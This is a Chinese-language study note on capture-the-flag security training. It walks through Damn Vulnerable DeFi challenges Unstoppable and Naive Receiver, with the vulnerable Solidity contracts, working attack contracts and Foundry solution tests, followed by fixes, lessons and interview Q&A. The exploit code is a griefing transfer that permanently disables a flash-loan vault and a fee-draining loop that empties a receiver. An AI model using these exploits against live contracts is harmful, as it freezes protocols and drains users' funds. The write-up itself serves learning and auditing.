DVDF #1 Unstoppable + #2 Naive Receiver
### 1. Damn Vulnerable DeFi 简介
日期: 2026-05-30 方向: Solidity / Security 阶段: 第三阶段:安全审计 标签: #damn-vulnerable-defi #flash-loan #griefing #fee-drain #ctf
今日目标
- 理解 Damn Vulnerable DeFi (DVDF) 挑战的整体框架
- 完成 DVDF #1 Unstoppable:闪电贷池 griefing 攻击
- 完成 DVDF #2 Naive Receiver:通过手续费榨干用户
- 从每个挑战中提炼安全设计教训
核心概念
1. Damn Vulnerable DeFi 简介
Damn Vulnerable DeFi (DVDF) 是由 @tinchoabbate 创建的 DeFi 安全挑战系列,是智能合约安全学习的必经之路。
| 特点 | 说明 |
|---|---|
| 目标 | 通过实战理解 DeFi 安全漏洞 |
| 难度 | 从初级到高级递进 |
| 版本 | V4(最新,使用 Foundry 框架) |
| 覆盖范围 | 闪电贷、预言机、治理、DEX、借贷等 |
挑战结构
每个挑战包含:
- 合约代码:有漏洞的 DeFi 合约
- 测试文件:定义初始状态和通过条件
- 目标:在测试的
_isSolved()检查中满足所有条件
典型挑战结构:
contracts/
├── [ChallengeName].sol # 有漏洞的合约
test/
├── [ChallengeName].t.sol # Foundry 测试
│ ├── setUp() # 初始化场景
│ ├── test_[challenge]() # 你写攻击代码的地方
│ └── _isSolved() # 通过条件
2. Challenge #1: Unstoppable
场景描述
有一个提供闪电贷服务的 Vault 合约。它持有大量 DVT Token,用户可以通过闪电贷借出这些 Token(一笔交易内归还即可)。
目标:让这个闪电贷池永久停止工作(DoS),使得没有人能再借出闪电贷。
关键合约代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashLender.sol";
/**
* @title UnstoppableVault
* @notice 一个提供 ERC3156 闪电贷的 Vault
*
* 漏洞分析:这个合约有一个致命的假设——
* 它假设 token 余额只会通过 deposit 增加
*/
contract UnstoppableVault is IERC3156FlashLender {
IERC20 public immutable token;
uint256 public totalAssets; // 内部追踪的总资产
// ... 省略构造函数和其他函数
/**
* @notice 存入 token 获取 shares
*/
function deposit(uint256 assets, address receiver) public returns (uint256 shares) {
// 计算 shares
shares = _convertToShares(assets);
// 转入 token
token.transferFrom(msg.sender, address(this), assets);
// 更新内部追踪
totalAssets += assets;
// 铸造 shares
_mint(receiver, shares);
}
/**
* @notice 执行闪电贷
* @dev 漏洞所在的函数!
*/
function flashLoan(
IERC3156FlashBorrower receiver,
address _token,
uint256 amount,
bytes calldata data
) external returns (bool) {
require(_token == address(token), "Unsupported token");
require(amount > 0, "Amount must be > 0");
// ★★★ 关键漏洞检查 ★★★
// 这里比较的是:合约实际持有的 token 余额 vs 内部追踪的 totalAssets
uint256 balanceBefore = token.balanceOf(address(this));
if (balanceBefore != totalAssets) {
revert InvalidBalance();
}
// 如果有人直接 transfer token 到合约(绕过 deposit)
// balanceOf > totalAssets → 检查失败 → revert!
// 发送 token
token.transfer(address(receiver), amount);
// 调用借款方的回调
require(
receiver.onFlashLoan(msg.sender, _token, amount, 0, data)
== keccak256("ERC3156FlashBorrower.onFlashLoan"),
"Invalid callback return"
);
// 检查 token 已归还
require(
token.balanceOf(address(this)) >= balanceBefore,
"Flash loan not repaid"
);
return true;
}
}
漏洞分析
核心问题:合约使用了两个不一致的余额追踪机制
1. token.balanceOf(address(this)) — ERC20 的实际余额
2. totalAssets — 合约内部追踪的余额(只通过 deposit 更新)
正常情况:
用户 deposit 100 → totalAssets = 100, balanceOf = 100 ✓
攻击后:
攻击者直接 token.transfer(vault, 1) → totalAssets = 100, balanceOf = 101 ✗
flashLoan 检查 balanceBefore != totalAssets → revert!
所有闪电贷永久失效!
攻击成本:仅 1 个 DVT Token
攻击方案
// 攻击极其简单!只需一行代码
contract UnstoppableAttack {
function attack(address vault, address token) external {
// 直接向 vault 转入 1 个 token(不通过 deposit)
// 这会导致 token.balanceOf(vault) > vault.totalAssets
// 从此所有 flashLoan 调用都会 revert
IERC20(token).transfer(vault, 1);
}
}
Foundry 测试
// test/Unstoppable.t.sol
function test_unstoppable() public {
// 初始状态:vault 有 1,000,000 DVT,player 有 10 DVT
// 目标:让 vault 的闪电贷永久失效
vm.startPrank(player);
// 攻击:直接转 1 个 token 到 vault
token.transfer(address(vault), 1e18);
vm.stopPrank();
// 验证:闪电贷现在无法使用
_isSolved();
}
function _isSolved() private {
// 检查:监控合约尝试执行闪电贷时应该失败
vm.expectRevert();
vault.flashLoan(
IERC3156FlashBorrower(address(someReceiver)),
address(token),
1e18,
""
);
}
教训与修复
// 修复方案1: 不使用严格等于
function flashLoan(/* params */) external returns (bool) {
uint256 balanceBefore = token.balanceOf(address(this));
// 使用 >= 而非 ==
// 允许合约持有超过 totalAssets 的 token
if (balanceBefore < totalAssets) {
revert InvalidBalance();
}
// ...
}
// 修复方案2: 完全依赖 balanceOf(不维护 totalAssets)
function flashLoan(/* params */) external returns (bool) {
uint256 balanceBefore = token.balanceOf(address(this));
// 不检查 totalAssets,直接用 balanceOf
token.transfer(address(receiver), amount);
// ...
require(
token.balanceOf(address(this)) >= balanceBefore,
"Not repaid"
);
return true;
}
// 修复方案3: 在 flashLoan 中同步 totalAssets
function flashLoan(/* params */) external returns (bool) {
// 先同步内部追踪和实际余额
uint256 currentBalance = token.balanceOf(address(this));
if (currentBalance > totalAssets) {
totalAssets = currentBalance; // 接受额外的 token
}
// ...
}
3. Challenge #2: Naive Receiver
场景描述
有一个闪电贷池和一个用于接收闪电贷的用户合约(FlashLoanReceiver)。FlashLoanReceiver 有 10 ETH 余额。每次闪电贷收取固定费用。
目标:在一笔交易中榨干 FlashLoanReceiver 的所有 ETH。
关键合约代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title NaiveReceiverPool
* @notice 提供 ETH 闪电贷的池子
*/
contract NaiveReceiverPool {
uint256 private constant FIXED_FEE = 1 ether; // 每次闪电贷固定收费 1 ETH
receive() external payable {}
/**
* @notice 执行闪电贷
* @param receiver 借款方合约地址
* @param amount 借款金额
*/
function flashLoan(address receiver, uint256 amount) external {
uint256 balanceBefore = address(this).balance;
require(balanceBefore >= amount, "Not enough ETH");
// ★ 注意:这里没有检查 msg.sender == receiver !
// 任何人都可以指定 receiver 来强制别人使用闪电贷
// 发送 ETH 到 receiver
(bool success,) = receiver.call{value: amount}(
abi.encodeWithSignature(
"receiveEther(uint256)",
FIXED_FEE
)
);
require(success, "External call failed");
// 检查:ETH 已归还 + 手续费
require(
address(this).balance >= balanceBefore + FIXED_FEE,
"Flash loan not repaid"
);
}
}
/**
* @title FlashLoanReceiver
* @notice 一个"天真的"闪电贷接收者
*/
contract FlashLoanReceiver {
address public pool;
constructor(address _pool) {
pool = _pool;
}
/**
* @notice 接收闪电贷回调
* @dev 漏洞:只检查调用者是不是 pool,不检查是谁发起的闪电贷
*/
function receiveEther(uint256 fee) external payable {
require(msg.sender == pool, "Only pool");
// 漏洞:不检查是否是自己发起的闪电贷!
// 任何人调用 pool.flashLoan(thisAddress, 0)
// 都会触发这个回调,然后自动归还 amount + fee
uint256 amountToReturn = msg.value + fee;
require(
address(this).balance >= amountToReturn,
"Cannot repay"
);
// 归还借款 + 手续费
(bool success,) = pool.call{value: amountToReturn}("");
require(success, "Repay failed");
}
receive() external payable {}
}
漏洞分析
核心问题:
1. Pool.flashLoan 的 receiver 参数可以是任意地址
→ 任何人都可以"代替"别人借闪电贷
2. FlashLoanReceiver 只检查调用者是 pool,不检查发起者
→ 被动接受任何来自 pool 的闪电贷请求
攻击过程:
Receiver 余额: 10 ETH
每次闪电贷手续费: 1 ETH
攻击者调用 pool.flashLoan(receiver, 0) — 借 0 ETH
→ Pool 给 Receiver 发 0 ETH + 调用 receiveEther(1 ETH fee)
→ Receiver 自动归还 0 + 1 = 1 ETH 给 Pool
→ Receiver 余额: 9 ETH
重复 10 次...
→ Receiver 余额: 0 ETH ← 被榨干!
攻击方案
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title NaiveReceiverAttack
* @notice 在一笔交易中连续调用10次闪电贷,榨干 receiver
*/
contract NaiveReceiverAttack {
function attack(address pool, address receiver) external {
// 连续调用 10 次闪电贷
// 每次借 0 ETH,但 receiver 被迫支付 1 ETH 手续费
for (uint256 i = 0; i < 10; i++) {
NaiveReceiverPool(pool).flashLoan(receiver, 0);
}
// 10 次后 receiver 的 10 ETH 全部变成了 pool 的手续费
}
}
interface NaiveReceiverPool {
function flashLoan(address receiver, uint256 amount) external;
}
Foundry 测试
// test/NaiveReceiver.t.sol
function test_naiveReceiver() public {
// 初始状态:
// pool: 1000 ETH
// receiver: 10 ETH
// 目标:在一笔交易中让 receiver 余额变为 0
vm.startPrank(player);
// 部署攻击合约
NaiveReceiverAttack attacker = new NaiveReceiverAttack();
attacker.attack(address(pool), address(receiver));
vm.stopPrank();
_isSolved();
}
function _isSolved() private view {
// 检查1:receiver 余额为 0
assertEq(address(receiver).balance, 0);
// 检查2:pool 余额增加了 10 ETH(来自手续费)
assertEq(address(pool).balance, 1010 ether);
}
更优雅的攻击(不部署合约)
// 使用 Foundry 直接在测试中调用
function test_naiveReceiver() public {
vm.startPrank(player);
for (uint256 i = 0; i < 10; i++) {
pool.flashLoan(address(receiver), 0);
}
vm.stopPrank();
_isSolved();
}
教训与修复
// 修复1: FlashLoanReceiver 检查发起者
contract FlashLoanReceiverFixed {
address public pool;
address public owner;
constructor(address _pool) {
pool = _pool;
owner = msg.sender;
}
function receiveEther(uint256 fee) external payable {
require(msg.sender == pool, "Only pool");
// 添加:只接受自己发起的闪电贷
// 但问题是...pool 没有传递 initiator 信息
// 这说明 pool 的设计也有问题!
}
// 更好的方案:自己发起闪电贷
function executeFlashLoan(uint256 amount) external {
require(msg.sender == owner, "Only owner");
NaiveReceiverPool(pool).flashLoan(address(this), amount);
}
}
// 修复2: Pool 传递发起者信息(ERC3156 标准做法)
contract PoolFixed {
function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool) {
// ...
// ERC3156 标准:传递 initiator (msg.sender)
require(
receiver.onFlashLoan(
msg.sender, // ← initiator,receiver 可以检查这个
token,
amount,
fee,
data
) == CALLBACK_SUCCESS,
"Invalid callback"
);
// ...
}
}
关键要点总结
Challenge #1 Unstoppable 教训
| 教训 | 说明 |
|---|---|
| 不要使用严格等于比较余额 | balanceOf == totalAssets 很容易被打破 |
| 考虑所有资金流入途径 | token.transfer 可以绕过 deposit |
| selfdestruct / transfer 可以强制发送 | 合约无法拒绝接收 token/ETH |
| 内部记账 vs 实际余额 | 两者可能不一致,需要优雅处理 |
DoS/Griefing 攻击模式总结
Griefing = 攻击者不获利,但让其他人无法使用系统
常见 Griefing 向量:
1. 余额不一致 → 严格等于检查失败
2. Gas 耗尽 → 外部调用消耗过多 gas
3. 总是 revert → 恶意回调总是回滚
4. 区块 gas limit → 循环过多超过限制
Challenge #2 Naive Receiver 教训
| 教训 | 说明 |
|---|---|
| 验证闪电贷发起者 | receiver 应检查谁发起了闪电贷 |
| 遵循标准(ERC3156) | 标准协议传递 initiator 信息 |
| 不要盲目信任调用源 | msg.sender == pool 不够,还需验证意图 |
| 考虑被动调用风险 | 你的合约可能被别人"代为"调用 |
受害者保护检查清单
设计闪电贷 receiver 时:
□ 检查 initiator 是否是预期的地址
□ 检查 amount 是否是自己请求的
□ 检查 fee 是否在可接受范围
□ 是否有紧急暂停机制
□ 是否限制了谁可以触发闪电贷
两个挑战的共性
共同模式:
1. 都利用了"谁可以调用"的权限漏洞
#1: 任何人都可以向合约转 token
#2: 任何人都可以指定 receiver 地址
2. 都涉及"意外的外部输入"
#1: 直接 transfer 绕过 deposit
#2: 第三方发起闪电贷
3. 修复思路都是"验证更多条件"
#1: 不依赖严格余额等式
#2: 验证闪电贷发起者身份
常见误区
误区 1:"Griefing 攻击不重要,因为攻击者不获利"
错误!Griefing 可以:
- 永久瘫痪协议(如 Unstoppable)
- 配合其他攻击使用(先 DoS 清算机制,再操纵价格)
- 造成声誉损失和用户流失
- 在竞争对手之间使用(商业攻击)
误区 2:"借 0 个 Token 的闪电贷没有意义"
Challenge #2 证明了即使借 0 个 Token,闪电贷的副作用(手续费)也可以被用来攻击。关键是手续费从 receiver 扣除,而发起者不是 receiver。
误区 3:"ERC20 token 只能通过 approve+transferFrom 进入合约"
token.transfer(contractAddress, amount) 可以直接向合约发送 token,且不触发合约的任何回调。合约的 totalAssets 等内部记账不会更新。这是 Unstoppable 漏洞的根源。
误区 4:"DVDF 只是 CTF 游戏,不反映真实漏洞"
DVDF 的每个挑战都基于真实的 DeFi 安全事件。Unstoppable 的余额不一致问题在多个审计中发现,Naive Receiver 的"代替他人操作"模式也在真实协议中出现过。
面试关联
Q: 描述一个 DeFi 协议的 DoS(拒绝服务)攻击向量
简短回答:通过直接向闪电贷池 transfer token,打破合约内部余额追踪与实际余额的一致性,导致所有闪电贷操作永久 revert。
详细回答(以 Unstoppable 为例):
- 合约维护
totalAssets追踪存入的 token 数量 flashLoan检查token.balanceOf(this) == totalAssets- 攻击者直接调用
token.transfer(vault, 1)——不经过 deposit - 现在
balanceOf > totalAssets,检查永远失败 - 所有
flashLoan调用永久 revert - 修复:使用
>=而非==,或在余额不一致时同步 totalAssets
Q: 如何安全地设计闪电贷 receiver?
回答(基于 Naive Receiver 教训):
- 验证 initiator:在
onFlashLoan回调中检查 initiator 是否是自己(而非第三方) - 使用 ERC3156 标准:标准回调包含 initiator 参数
- 限制调用权限:只允许 owner 触发闪电贷操作
- 验证参数:检查 amount 和 fee 是否合理
- 紧急机制:有暂停或限额功能
Q: 什么是 Griefing 攻击?与经济攻击有什么区别?
回答:
- Griefing:攻击者不直接获利,目的是破坏系统可用性。例如 Unstoppable(瘫痪闪电贷)。攻击成本低(1 个 token),但造成系统级损害。
- 经济攻击:攻击者直接获利。例如闪电贷价格操纵(借入资金→操纵价格→获利→归还)。
- 有时两者结合:先 griefing(瘫痪清算机制),再经济攻击(操纵价格获利)。
参考资源
- Damn Vulnerable DeFi V4 — 官方网站
- DVDF GitHub — 源码和挑战
- ERC3156: Flash Loans — 闪电贷标准
- Foundry Book — Foundry 使用文档
- OpenZeppelin Flash Loan — OZ 闪电贷接口
- DeFi Security Summit Talks — DeFi 安全演讲
- Secureum Bootcamp — 安全审计学习
- Smart Contract Security Field Guide — 安全实战指南